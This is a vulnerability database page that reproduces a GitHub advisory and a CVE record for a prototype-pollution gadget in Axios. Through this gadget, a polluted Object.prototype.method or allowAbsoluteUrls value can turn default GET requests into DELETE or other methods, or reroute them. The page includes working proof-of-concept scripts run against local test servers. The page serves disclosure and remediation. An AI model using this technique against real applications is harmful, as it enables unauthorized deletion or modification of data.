Vulnerability-Lookup

GHSA-9FR6-4GFG-395G

Vulnerability from github – Published: 2026-09-30 15:12 – Updated: 2026-09-30 15:12

Summary

Axios: Prototype-Pollution Gadget in the Default Instance Allows Inherited Object.prototype.method to Override HTTP Method

Details

Summary

Axios default-instance requests that omit an explicit method can read an inherited method value from Object.prototype. If another vulnerability in the same process pollutes Object.prototype.method, calls such as axios.request({ url }) and axios({ url }) can send a state-changing HTTP method instead of the expected default GET.

Axios does not create the prototype pollution source. This is a read-side gadget in axios request dispatch.

Impact

In an affected application with a separate prototype-pollution primitive, an attacker can change axios default-instance requests that omit method from GET to methods such as DELETE, POST, PUT, or PATCH. The practical impact depends on the target endpoint and can include unintended writes, deletion, or other state changes.

Method aliases such as axios.get(url) and requests with an explicit own method are not affected by the confirmed method path.

Affected Functionality

Affected:

Default axios instance calls: axios.request({ url }).
Callable shorthand: axios({ url }).
Requests where no own config.method is provided.

Not affected in the confirmed method PoC:

axios.get(url) and other method aliases.
axios.request({ url, method: 'GET' }).
axios.create().request({ url }) when the created instance defaults are produced by current mergeConfig() and do not inherit from Object.prototype.

Technical Details

lib/core/Axios.js sets the request method with:

config.method = (config.method || this.defaults.method || 'get').toLowerCase();

mergeConfig() now returns a null-prototype request config, so config.method is safe from Object.prototype. However, the default axios instance stores the module defaults object as this.defaults, and that defaults object is a normal object. If Object.prototype.method exists, this.defaults.method resolves to the polluted inherited value.

Local verification on axios 1.18.1 showed a default-instance axios.request({ url }) request reaching a loopback server as DELETE after Object.prototype.method = 'DELETE'.

Proof of Concept of Attack

Constrained local demonstration:

Object.prototype.method = 'DELETE';
try {
  await axios.request({ url: 'http://127.0.0.1:<port>/resource' });
} finally {
  delete Object.prototype.method;
}

Expected safe behavior is a GET request. Current affected behavior sends DELETE on the default instance when no method is provided.

Workarounds

Use explicit method aliases such as axios.get() or set an own method on request configs. Avoid default-instance shorthand for requests in processes where prototype pollution is suspected or possible.

Original report

### Summary Axios `1.17.0` contains a read-side prototype-pollution gadget in the default Axios instance. If another vulnerability in the same Node.js process pollutes `Object.prototype.method`, default-instance calls such as `axios.request({ url })` and `axios({ url })` can be forced to use an attacker-controlled HTTP method, such as `DELETE`, instead of the expected default `GET`. Axios does not create the prototype pollution by itself. The issue is that Axios reads fallback values from `this.defaults` without an own-property guard, allowing inherited values from `Object.prototype` to influence request behavior. This should be treated as a prototype-pollution gadget, not as a standalone prototype-pollution source. In other words, Axios is not the component that lets the attacker write to `Object.prototype`; Axios is the component that becomes dangerous after `Object.prototype` has already been polluted by another bug in the same process. ### Details The vulnerable fallback read is in `lib/core/Axios.js`:

// Set config.allowAbsoluteUrls
if (config.allowAbsoluteUrls !== undefined) {
  // do nothing
} else if (this.defaults.allowAbsoluteUrls !== undefined) {
  config.allowAbsoluteUrls = this.defaults.allowAbsoluteUrls;
} else {
  config.allowAbsoluteUrls = true;
}

// Set config.method
config.method = (config.method || this.defaults.method || 'get').toLowerCase();

The merged request `config` is created as a null-prototype object in `lib/core/mergeConfig.js`:

const config = Object.create(null);

Therefore, when the caller does not provide `config.method`, the fallback becomes:

this.defaults.method

The default Axios instance uses the module defaults object. In the tested version, that defaults object is affected by inherited properties from `Object.prototype`. If `Object.prototype.method` is polluted, `this.defaults.method` resolves to that inherited value and Axios uses it as the request method. The same unsafe inherited-property pattern also affects `this.defaults.allowAbsoluteUrls`, which can change how absolute URLs are combined with `baseURL`. ### Proof of Concept #### Access and Attack Conditions No admin access is required for Axios itself. This is a library-level gadget. The attacker must have an existing way to pollute `Object.prototype` in the same Node.js process, for example through a separate prototype-pollution vulnerability in another dependency or application input path. Axios is the gadget that turns that pollution into dangerous HTTP request behavior. Required condition:

Some other bug or unsafe merge path in the application must allow Object.prototype pollution.

What Axios contributes:

Axios reads inherited Object.prototype.method through this.defaults.method and uses it as the HTTP method fallback.

What Axios does not do:

Axios does not create Object.prototype pollution by itself.

Affected usage:

axios.request({ url });
axios({ url });

Not affected in the confirmed PoC:

axios.get(url);
axios.request({ url, method: "GET" });
axios.create().request({ url });

#### Reproduction Steps 1. Create a clean test directory and install Axios `1.17.0`:

mkdir axios-validation
cd axios-validation
npm init -y
npm install axios@1.17.0 --no-audit --no-fund

2. Save the method override PoC below as:

validate-prototype-method-gadget.mjs

3. Run the PoC:

node validate-prototype-method-gadget.mjs

4. Confirm that the output shows:

defaultRequestMethod=DELETE
defaultShorthandMethod=DELETE
getAliasMethod=GET
explicitGetMethod=GET
createdInstanceMethod=GET
RESULT: CONFIRMED

5. This proves that after `Object.prototype.method = "DELETE"`, default-instance calls that omit an explicit method are sent as `DELETE`. #### What the Method PoC Script Does The PoC starts a temporary local HTTP server for each Axios call and records the HTTP method received by that server. It then simulates an already-existing prototype-pollution condition by setting:

Object.prototype.method = "DELETE";

While that pollution is active, the script sends five Axios requests:

axios.request({ url });                 // expected vulnerable path
axios({ url });                         // expected vulnerable shorthand path
axios.get(url);                         // expected safe alias path
axios.request({ url, method: "GET" });  // expected safe explicit-method path
axios.create().request({ url });        // expected safe isolated-instance path

The script then deletes the polluted property:

delete Object.prototype.method;

Finally, it prints the method observed by the local server for each request. The vulnerable behavior is confirmed when the default Axios instance sends `DELETE` for `axios.request({ url })` and `axios({ url })`, while the safe comparison paths still send `GET`. #### Method Override PoC Create `validate-prototype-method-gadget.mjs`:

import http from "node:http";
import axios from "axios";

async function listen(server) {
  await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve));
  return server.address().port;
}

async function runRequest(label, requestFn) {
  const hits = [];
  const server = http.createServer((req, res) => {
    hits.push({
      method: req.method,
      url: req.url,
    });
    res.writeHead(200, { "content-type": "application/json" });
    res.end(JSON.stringify({ ok: true }));
  });

  const port = await listen(server);
  const url = `http://127.0.0.1:${port}/${label}`;

  let status = "completed";
  let error = "";
  try {
    await requestFn(url);
  } catch (err) {
    status = "error";
    error = err?.message || String(err);
  }

  server.close();
  return { label, status, error, hits };
}

const results = [];

Object.prototype.method = "DELETE";
try {
  results.push(await runRequest("default-request-no-method", (url) => axios.request({ url })));
  results.push(await runRequest("default-shorthand-no-method", (url) => axios({ url })));
  results.push(await runRequest("default-get-alias", (url) => axios.get(url)));
  results.push(await runRequest("default-request-explicit-get", (url) => axios.request({ url, method: "GET" })));

  const instance = axios.create();
  results.push(await runRequest("created-instance-request-no-method", (url) => instance.request({ url })));
} finally {
  delete Object.prototype.method;
}

const defaultRequestMethod = results.find((r) => r.label === "default-request-no-method")?.hits[0]?.method || "";
const defaultShorthandMethod = results.find((r) => r.label === "default-shorthand-no-method")?.hits[0]?.method || "";
const getAliasMethod = results.find((r) => r.label === "default-get-alias")?.hits[0]?.method || "";
const explicitGetMethod = results.find((r) => r.label === "default-request-explicit-get")?.hits[0]?.method || "";
const createdInstanceMethod = results.find((r) => r.label === "created-instance-request-no-method")?.hits[0]?.method || "";

console.log(`axiosVersion=${axios.VERSION}`);
console.log(`results=${JSON.stringify(results)}`);
console.log(`defaultRequestMethod=${defaultRequestMethod}`);
console.log(`defaultShorthandMethod=${defaultShorthandMethod}`);
console.log(`getAliasMethod=${getAliasMethod}`);
console.log(`explicitGetMethod=${explicitGetMethod}`);
console.log(`createdInstanceMethod=${createdInstanceMethod}`);

const confirmed =
  defaultRequestMethod === "DELETE" &&
  defaultShorthandMethod === "DELETE" &&
  getAliasMethod === "GET" &&
  explicitGetMethod === "GET" &&
  createdInstanceMethod === "GET";

console.log(confirmed ? "RESULT: CONFIRMED" : "RESULT: NOT CONFIRMED");
process.exitCode = confirmed ? 0 : 1;

Run:

node validate-prototype-method-gadget.mjs

Observed result:

axiosVersion=1.17.0
defaultRequestMethod=DELETE
defaultShorthandMethod=DELETE
getAliasMethod=GET
explicitGetMethod=GET
createdInstanceMethod=GET
RESULT: CONFIRMED

The local server received:

axios.request({ url })              -> DELETE
axios({ url })                      -> DELETE
axios.get(url)                      -> GET
axios.request({ url, method:"GET" }) -> GET
axios.create().request({ url })     -> GET

This confirms that inherited `Object.prototype.method` controls the default method for vulnerable default-instance request paths. #### Supporting `allowAbsoluteUrls` Gadget Evidence The same inherited-property issue affects `allowAbsoluteUrls`. Create `validate-prototype-allowabsoluteurls-gadget.mjs`:

import http from "node:http";
import axios from "axios";

async function listen(server) {
  await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve));
  return server.address().port;
}

async function runCase(label, requestFn) {
  const baseHits = [];
  const absoluteHits = [];

  const baseServer = http.createServer((req, res) => {
    baseHits.push({ method: req.method, url: req.url, host: req.headers.host || "" });
    res.end("base");
  });

  const absoluteServer = http.createServer((req, res) => {
    absoluteHits.push({ method: req.method, url: req.url, host: req.headers.host || "" });
    res.end("absolute");
  });

  const basePort = await listen(baseServer);
  const absolutePort = await listen(absoluteServer);

  try {
    await requestFn({
      baseURL: `http://127.0.0.1:${basePort}/api`,
      url: `http://127.0.0.1:${absolutePort}/absolute-path`,
    });
  } catch {}

  baseServer.close();
  absoluteServer.close();

  return { label, baseHits, absoluteHits };
}

const results = [];

results.push(await runCase("baseline-no-pollution", (config) => axios.request(config)));

Object.prototype.allowAbsoluteUrls = false;
try {
  results.push(await runCase("polluted-default-request", (config) => axios.request(config)));
  const instance = axios.create();
  results.push(await runCase("polluted-created-instance", (config) => instance.request(config)));
} finally {
  delete Object.prototype.allowAbsoluteUrls;
}

console.log(`axiosVersion=${axios.VERSION}`);
console.log(`results=${JSON.stringify(results)}`);

Observed result:

axiosVersion=1.17.0
baselineUsedAbsolute=true
pollutedDefaultUsedBase=true
pollutedInstanceUsedAbsolute=true
RESULT: CONFIRMED

Without pollution, Axios sends the request to the absolute URL. After `Object.prototype.allowAbsoluteUrls = false`, the default Axios instance combines the absolute URL with `baseURL` and sends the request to the base server instead. An instance created with `axios.create()` remains unaffected. ### Impact This is a prototype-pollution gadget. It becomes exploitable when an application has any separate prototype-pollution primitive that allows an attacker to set properties on `Object.prototype` in the same Node.js process. If such pollution is possible, an attacker can influence Axios default-instance requests that omit an explicit method: - `axios.request({ url })` - `axios({ url })` This can turn an expected safe default `GET` request into a state-changing method such as: - `DELETE` - `POST` - `PUT` - `PATCH` Potential impact includes unauthorized state-changing requests, deletion of resources, unintended writes, data corruption, or denial of service when the target endpoint treats the HTTP method as security-relevant. The issue does not require admin access to Axios itself, but it does require an existing prototype-pollution path in the application. Applications that always use explicit methods, method aliases such as `axios.get()`, or isolated instances created through `axios.create()` are not affected by the confirmed method-override path.

Severity

6.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:H/SA:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.27.2"
            },
            {
              "fixed": "0.34.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.20.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-101902"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-30T15:12:49Z",
    "nvd_published_at": "2026-09-28T18:17:18Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nAxios default-instance requests that omit an explicit method can read an inherited `method` value from `Object.prototype`. If another vulnerability in the same process pollutes `Object.prototype.method`, calls such as `axios.request({ url })` and `axios({ url })` can send a state-changing HTTP method instead of the expected default `GET`.\n\nAxios does not create the prototype pollution source. This is a read-side gadget in axios request dispatch.\n\n## Impact\n\nIn an affected application with a separate prototype-pollution primitive, an attacker can change axios default-instance requests that omit `method` from `GET` to methods such as `DELETE`, `POST`, `PUT`, or `PATCH`. The practical impact depends on the target endpoint and can include unintended writes, deletion, or other state changes.\n\nMethod aliases such as `axios.get(url)` and requests with an explicit own `method` are not affected by the confirmed method path.\n\n## Affected Functionality\n\nAffected:\n\n- Default axios instance calls: `axios.request({ url })`.\n- Callable shorthand: `axios({ url })`.\n- Requests where no own `config.method` is provided.\n\nNot affected in the confirmed method PoC:\n\n- `axios.get(url)` and other method aliases.\n- `axios.request({ url, method: \u0027GET\u0027 })`.\n- `axios.create().request({ url })` when the created instance defaults are produced by current `mergeConfig()` and do not inherit from `Object.prototype`.\n\n## Technical Details\n\n`lib/core/Axios.js` sets the request method with:\n\n```js\nconfig.method = (config.method || this.defaults.method || \u0027get\u0027).toLowerCase();\n```\n\n`mergeConfig()` now returns a null-prototype request config, so `config.method` is safe from `Object.prototype`. However, the default axios instance stores the module defaults object as `this.defaults`, and that defaults object is a normal object. If `Object.prototype.method` exists, `this.defaults.method` resolves to the polluted inherited value.\n\nLocal verification on axios `1.18.1` showed a default-instance `axios.request({ url })` request reaching a loopback server as `DELETE` after `Object.prototype.method = \u0027DELETE\u0027`.\n\n## Proof of Concept of Attack\n\nConstrained local demonstration:\n\n```js\nObject.prototype.method = \u0027DELETE\u0027;\ntry {\n  await axios.request({ url: \u0027http://127.0.0.1:\u003cport\u003e/resource\u0027 });\n} finally {\n  delete Object.prototype.method;\n}\n```\n\nExpected safe behavior is a `GET` request. Current affected behavior sends `DELETE` on the default instance when no method is provided.\n\n## Workarounds\n\nUse explicit method aliases such as `axios.get()` or set an own `method` on request configs. Avoid default-instance shorthand for requests in processes where prototype pollution is suspected or possible.\n\n\u003cdetails\u003e\n  \u003csummary\u003e\u003ch3\u003eOriginal report\u003c/h3\u003e\u003c/summary\u003e\n  \n### Summary\n\nAxios `1.17.0` contains a read-side prototype-pollution gadget in the default Axios instance. If another vulnerability in the same Node.js process pollutes `Object.prototype.method`, default-instance calls such as `axios.request({ url })` and `axios({ url })` can be forced to use an attacker-controlled HTTP method, such as `DELETE`, instead of the expected default `GET`.\n\nAxios does not create the prototype pollution by itself. The issue is that Axios reads fallback values from `this.defaults` without an own-property guard, allowing inherited values from `Object.prototype` to influence request behavior.\n\nThis should be treated as a prototype-pollution gadget, not as a standalone prototype-pollution source. In other words, Axios is not the component that lets the attacker write to `Object.prototype`; Axios is the component that becomes dangerous after `Object.prototype` has already been polluted by another bug in the same process.\n\n### Details\n\nThe vulnerable fallback read is in `lib/core/Axios.js`:\n\n```js\n// Set config.allowAbsoluteUrls\nif (config.allowAbsoluteUrls !== undefined) {\n  // do nothing\n} else if (this.defaults.allowAbsoluteUrls !== undefined) {\n  config.allowAbsoluteUrls = this.defaults.allowAbsoluteUrls;\n} else {\n  config.allowAbsoluteUrls = true;\n}\n\n// Set config.method\nconfig.method = (config.method || this.defaults.method || \u0027get\u0027).toLowerCase();\n```\n\nThe merged request `config` is created as a null-prototype object in `lib/core/mergeConfig.js`:\n\n```js\nconst config = Object.create(null);\n```\n\nTherefore, when the caller does not provide `config.method`, the fallback becomes:\n\n```js\nthis.defaults.method\n```\n\nThe default Axios instance uses the module defaults object. In the tested version, that defaults object is affected by inherited properties from `Object.prototype`. If `Object.prototype.method` is polluted, `this.defaults.method` resolves to that inherited value and Axios uses it as the request method.\n\nThe same unsafe inherited-property pattern also affects `this.defaults.allowAbsoluteUrls`, which can change how absolute URLs are combined with `baseURL`.\n\n### Proof of Concept\n\n#### Access and Attack Conditions\n\nNo admin access is required for Axios itself. This is a library-level gadget.\n\nThe attacker must have an existing way to pollute `Object.prototype` in the same Node.js process, for example through a separate prototype-pollution vulnerability in another dependency or application input path. Axios is the gadget that turns that pollution into dangerous HTTP request behavior.\n\nRequired condition:\n\n```text\nSome other bug or unsafe merge path in the application must allow Object.prototype pollution.\n```\n\nWhat Axios contributes:\n\n```text\nAxios reads inherited Object.prototype.method through this.defaults.method and uses it as the HTTP method fallback.\n```\n\nWhat Axios does not do:\n\n```text\nAxios does not create Object.prototype pollution by itself.\n```\n\nAffected usage:\n\n```js\naxios.request({ url });\naxios({ url });\n```\n\nNot affected in the confirmed PoC:\n\n```js\naxios.get(url);\naxios.request({ url, method: \"GET\" });\naxios.create().request({ url });\n```\n\n#### Reproduction Steps\n\n1. Create a clean test directory and install Axios `1.17.0`:\n\n```powershell\nmkdir axios-validation\ncd axios-validation\nnpm init -y\nnpm install axios@1.17.0 --no-audit --no-fund\n```\n\n2. Save the method override PoC below as:\n\n```text\nvalidate-prototype-method-gadget.mjs\n```\n\n3. Run the PoC:\n\n```powershell\nnode validate-prototype-method-gadget.mjs\n```\n\n4. Confirm that the output shows:\n\n```text\ndefaultRequestMethod=DELETE\ndefaultShorthandMethod=DELETE\ngetAliasMethod=GET\nexplicitGetMethod=GET\ncreatedInstanceMethod=GET\nRESULT: CONFIRMED\n```\n\n5. This proves that after `Object.prototype.method = \"DELETE\"`, default-instance calls that omit an explicit method are sent as `DELETE`.\n\n#### What the Method PoC Script Does\n\nThe PoC starts a temporary local HTTP server for each Axios call and records the HTTP method received by that server. It then simulates an already-existing prototype-pollution condition by setting:\n\n```js\nObject.prototype.method = \"DELETE\";\n```\n\nWhile that pollution is active, the script sends five Axios requests:\n\n```js\naxios.request({ url });                 // expected vulnerable path\naxios({ url });                         // expected vulnerable shorthand path\naxios.get(url);                         // expected safe alias path\naxios.request({ url, method: \"GET\" });  // expected safe explicit-method path\naxios.create().request({ url });        // expected safe isolated-instance path\n```\n\nThe script then deletes the polluted property:\n\n```js\ndelete Object.prototype.method;\n```\n\nFinally, it prints the method observed by the local server for each request. The vulnerable behavior is confirmed when the default Axios instance sends `DELETE` for `axios.request({ url })` and `axios({ url })`, while the safe comparison paths still send `GET`.\n\n#### Method Override PoC\n\nCreate `validate-prototype-method-gadget.mjs`:\n\n```js\nimport http from \"node:http\";\nimport axios from \"axios\";\n\nasync function listen(server) {\n  await new Promise((resolve) =\u003e server.listen(0, \"127.0.0.1\", resolve));\n  return server.address().port;\n}\n\nasync function runRequest(label, requestFn) {\n  const hits = [];\n  const server = http.createServer((req, res) =\u003e {\n    hits.push({\n      method: req.method,\n      url: req.url,\n    });\n    res.writeHead(200, { \"content-type\": \"application/json\" });\n    res.end(JSON.stringify({ ok: true }));\n  });\n\n  const port = await listen(server);\n  const url = `http://127.0.0.1:${port}/${label}`;\n\n  let status = \"completed\";\n  let error = \"\";\n  try {\n    await requestFn(url);\n  } catch (err) {\n    status = \"error\";\n    error = err?.message || String(err);\n  }\n\n  server.close();\n  return { label, status, error, hits };\n}\n\nconst results = [];\n\nObject.prototype.method = \"DELETE\";\ntry {\n  results.push(await runRequest(\"default-request-no-method\", (url) =\u003e axios.request({ url })));\n  results.push(await runRequest(\"default-shorthand-no-method\", (url) =\u003e axios({ url })));\n  results.push(await runRequest(\"default-get-alias\", (url) =\u003e axios.get(url)));\n  results.push(await runRequest(\"default-request-explicit-get\", (url) =\u003e axios.request({ url, method: \"GET\" })));\n\n  const instance = axios.create();\n  results.push(await runRequest(\"created-instance-request-no-method\", (url) =\u003e instance.request({ url })));\n} finally {\n  delete Object.prototype.method;\n}\n\nconst defaultRequestMethod = results.find((r) =\u003e r.label === \"default-request-no-method\")?.hits[0]?.method || \"\";\nconst defaultShorthandMethod = results.find((r) =\u003e r.label === \"default-shorthand-no-method\")?.hits[0]?.method || \"\";\nconst getAliasMethod = results.find((r) =\u003e r.label === \"default-get-alias\")?.hits[0]?.method || \"\";\nconst explicitGetMethod = results.find((r) =\u003e r.label === \"default-request-explicit-get\")?.hits[0]?.method || \"\";\nconst createdInstanceMethod = results.find((r) =\u003e r.label === \"created-instance-request-no-method\")?.hits[0]?.method || \"\";\n\nconsole.log(`axiosVersion=${axios.VERSION}`);\nconsole.log(`results=${JSON.stringify(results)}`);\nconsole.log(`defaultRequestMethod=${defaultRequestMethod}`);\nconsole.log(`defaultShorthandMethod=${defaultShorthandMethod}`);\nconsole.log(`getAliasMethod=${getAliasMethod}`);\nconsole.log(`explicitGetMethod=${explicitGetMethod}`);\nconsole.log(`createdInstanceMethod=${createdInstanceMethod}`);\n\nconst confirmed =\n  defaultRequestMethod === \"DELETE\" \u0026\u0026\n  defaultShorthandMethod === \"DELETE\" \u0026\u0026\n  getAliasMethod === \"GET\" \u0026\u0026\n  explicitGetMethod === \"GET\" \u0026\u0026\n  createdInstanceMethod === \"GET\";\n\nconsole.log(confirmed ? \"RESULT: CONFIRMED\" : \"RESULT: NOT CONFIRMED\");\nprocess.exitCode = confirmed ? 0 : 1;\n```\n\nRun:\n\n```powershell\nnode validate-prototype-method-gadget.mjs\n```\n\nObserved result:\n\n```text\naxiosVersion=1.17.0\ndefaultRequestMethod=DELETE\ndefaultShorthandMethod=DELETE\ngetAliasMethod=GET\nexplicitGetMethod=GET\ncreatedInstanceMethod=GET\nRESULT: CONFIRMED\n```\n\nThe local server received:\n\n```text\naxios.request({ url })              -\u003e DELETE\naxios({ url })                      -\u003e DELETE\naxios.get(url)                      -\u003e GET\naxios.request({ url, method:\"GET\" }) -\u003e GET\naxios.create().request({ url })     -\u003e GET\n```\n\nThis confirms that inherited `Object.prototype.method` controls the default method for vulnerable default-instance request paths.\n\n#### Supporting `allowAbsoluteUrls` Gadget Evidence\n\nThe same inherited-property issue affects `allowAbsoluteUrls`.\n\nCreate `validate-prototype-allowabsoluteurls-gadget.mjs`:\n\n```js\nimport http from \"node:http\";\nimport axios from \"axios\";\n\nasync function listen(server) {\n  await new Promise((resolve) =\u003e server.listen(0, \"127.0.0.1\", resolve));\n  return server.address().port;\n}\n\nasync function runCase(label, requestFn) {\n  const baseHits = [];\n  const absoluteHits = [];\n\n  const baseServer = http.createServer((req, res) =\u003e {\n    baseHits.push({ method: req.method, url: req.url, host: req.headers.host || \"\" });\n    res.end(\"base\");\n  });\n\n  const absoluteServer = http.createServer((req, res) =\u003e {\n    absoluteHits.push({ method: req.method, url: req.url, host: req.headers.host || \"\" });\n    res.end(\"absolute\");\n  });\n\n  const basePort = await listen(baseServer);\n  const absolutePort = await listen(absoluteServer);\n\n  try {\n    await requestFn({\n      baseURL: `http://127.0.0.1:${basePort}/api`,\n      url: `http://127.0.0.1:${absolutePort}/absolute-path`,\n    });\n  } catch {}\n\n  baseServer.close();\n  absoluteServer.close();\n\n  return { label, baseHits, absoluteHits };\n}\n\nconst results = [];\n\nresults.push(await runCase(\"baseline-no-pollution\", (config) =\u003e axios.request(config)));\n\nObject.prototype.allowAbsoluteUrls = false;\ntry {\n  results.push(await runCase(\"polluted-default-request\", (config) =\u003e axios.request(config)));\n  const instance = axios.create();\n  results.push(await runCase(\"polluted-created-instance\", (config) =\u003e instance.request(config)));\n} finally {\n  delete Object.prototype.allowAbsoluteUrls;\n}\n\nconsole.log(`axiosVersion=${axios.VERSION}`);\nconsole.log(`results=${JSON.stringify(results)}`);\n```\n\nObserved result:\n\n```text\naxiosVersion=1.17.0\nbaselineUsedAbsolute=true\npollutedDefaultUsedBase=true\npollutedInstanceUsedAbsolute=true\nRESULT: CONFIRMED\n```\n\nWithout pollution, Axios sends the request to the absolute URL. After `Object.prototype.allowAbsoluteUrls = false`, the default Axios instance combines the absolute URL with `baseURL` and sends the request to the base server instead. An instance created with `axios.create()` remains unaffected.\n\n### Impact\n\nThis is a prototype-pollution gadget. It becomes exploitable when an application has any separate prototype-pollution primitive that allows an attacker to set properties on `Object.prototype` in the same Node.js process.\n\nIf such pollution is possible, an attacker can influence Axios default-instance requests that omit an explicit method:\n\n- `axios.request({ url })`\n- `axios({ url })`\n\nThis can turn an expected safe default `GET` request into a state-changing method such as:\n\n- `DELETE`\n- `POST`\n- `PUT`\n- `PATCH`\n\nPotential impact includes unauthorized state-changing requests, deletion of resources, unintended writes, data corruption, or denial of service when the target endpoint treats the HTTP method as security-relevant.\n\nThe issue does not require admin access to Axios itself, but it does require an existing prototype-pollution path in the application. Applications that always use explicit methods, method aliases such as `axios.get()`, or isolated instances created through `axios.create()` are not affected by the confirmed method-override path.\n\u003c/details\u003e\n\n---",
  "id": "GHSA-9fr6-4gfg-395g",
  "modified": "2026-09-30T15:12:49Z",
  "published": "2026-09-30T15:12:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-9fr6-4gfg-395g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101902"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/11141"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v0.34.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.20.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Axios: Prototype-Pollution Gadget in the Default Instance Allows Inherited Object.prototype.method to Override HTTP Method"
}

CVE-2026-101902 (GCVE-0-2026-101902)

Vulnerability from cvelistv5 – Published: 2026-09-28 17:22 – Updated: 2026-09-28 19:30

Title

Axios: Prototype-Pollution Gadget in the Default Instance Allows Inherited Object.prototype.method to Override HTTP Method

Summary

Axios is a promise-based HTTP client for the browser and Node.js. From 0.27.2 until 0.34.0 and 1.20.0, Axios default-instance requests that omit an explicit method can read an inherited method value from Object.prototype. If another vulnerability in the same process pollutes Object.prototype.method, calls such as axios.request({ url }) and axios({ url }) can send a state-changing HTTP method instead of the expected default GET. Axios does not create the prototype pollution source. This is a read-side gadget in axios request dispatch. This issue is fixed in version 0.34.0 and 1.20.0.

Severity

6.9 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:H/SA:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-28 19:30 UTC

CWE

CWE-1321 - Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Assigner

GitHub_M mitre root Scorecard

References

5 references

URL	Tags
https://github.com/axios/axios/security/advisorie…	x_refsource_CONFIRM
https://github.com/axios/axios/pull/11141	x_refsource_MISC
https://github.com/axios/axios/commit/d19040bda7a…	x_refsource_MISC
https://github.com/axios/axios/releases/tag/v0.34.0	x_refsource_MISC
https://github.com/axios/axios/releases/tag/v1.20.0	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
axios	axios	Affected: >= 1.0.0, < 1.20.0 Affected: >= 0.27.2, < 0.34.0

Show details on NVD website

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{
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              "content": {
                "id": "CVE-2026-101902",
                "options": [
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                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
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                "role": "CISA Coordinator",
                "timestamp": "2026-09-28T19:30:11.206978Z",
                "version": "2.0.3"
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            "url": "https://github.com/axios/axios/security/advisories/GHSA-9fr6-4gfg-395g"
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        "title": "CISA ADP Vulnrichment"
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    "cna": {
      "affected": [
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          "product": "axios",
          "vendor": "axios",
          "versions": [
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              "version": "\u003e= 1.0.0, \u003c 1.20.0"
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      "descriptions": [
        {
          "lang": "en",
          "value": "Axios is a promise-based HTTP client for the browser and Node.js. From 0.27.2 until 0.34.0 and 1.20.0, Axios default-instance requests that omit an explicit method can read an inherited method value from Object.prototype. If another vulnerability in the same process pollutes Object.prototype.method, calls such as axios.request({ url }) and axios({ url }) can send a state-changing HTTP method instead of the expected default GET. Axios does not create the prototype pollution source. This is a read-side gadget in axios request dispatch. This issue is fixed in version 0.34.0 and 1.20.0."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "PRESENT",
            "attackVector": "NETWORK",
            "baseScore": 6.9,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "HIGH",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:H/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE"
          }
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        {
          "descriptions": [
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              "cweId": "CWE-1321",
              "description": "CWE-1321: Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)",
              "lang": "en",
              "type": "CWE"
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          ]
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        "dateUpdated": "2026-09-28T17:22:49.113Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
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      "source": {
        "advisory": "GHSA-9fr6-4gfg-395g",
        "discovery": "UNKNOWN"
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      "title": "Axios: Prototype-Pollution Gadget in the Default Instance Allows Inherited Object.prototype.method to Override HTTP Method"
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    "datePublished": "2026-09-28T17:22:49.113Z",
    "dateReserved": "2026-09-28T15:55:37.907Z",
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Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

